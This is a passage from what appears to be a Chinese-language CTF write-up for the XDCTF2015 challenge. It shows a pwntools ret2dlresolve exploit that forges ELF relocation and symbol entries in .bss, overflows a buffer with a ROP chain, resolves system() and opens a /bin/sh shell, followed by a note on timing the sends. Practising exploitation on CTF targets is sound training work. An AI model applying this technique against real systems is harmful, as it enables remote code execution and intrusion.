new_sym_offset = (new_sym_entry_addr - SYMTAB ) // new_sym_entry_size # 这里需要保证gap是0x10的倍数
assert( (new_sym_entry_addr - SYMTAB) % new_sym_entry_size == 0 )
new_str_offset = (new_str_entry_addr - STRTAB)
# JMPREL, 原始数据 0x0804a010, 0x00000207
new_rel_entry = p32(0x804a010) + p32(new_sym_offset << 8 | 0x07)
# SYMTAB, 原始数据 0x00000027, 0x00000000, 0x00000000, 0x00000012
new_sym_entry = p32(new_str_offset) + p32(0) + p32(0) + p32(0x12)
# STRTAB, 原始数据 "read"
new_str_entry = b"system\x00\x00"
bss_payload = new_rel_entry + new_sym_entry + new_str_entry + b"/bin/sh\x00"
payload = b'A'*0x6c + p32(0x0)
payload += p32(read_plt)
payload += p32(pppr_ret) + p32(0) + p32(BSS) + p32(len(bss_payload)) # read(stdin, bss_buffer, len(bss_payload))
# payload += p32(pop_ebp_ret) + p32(BSS + 0x200)
payload += p32(plt) + p32(new_rel_offset) + p32(0) + p32(bin_sh_addr)
# 阻塞1
p.recvuntil(b'Welcome to XDCTF2015~!\n')
p.sendline(payload)
# 阻塞2
input('Press to continue')
p.sendline(bss_payload)
p.interactive()
注意其中的“阻塞”逻辑,在合适的时机再发送更保险(虽然很多情况下不加也不会出现问题). 比如在pwntools中使用attach的方式,这个操作本身也需要时间. 如果不加任何阻塞,可能在attach之前程序已经进行交互并且terminated了.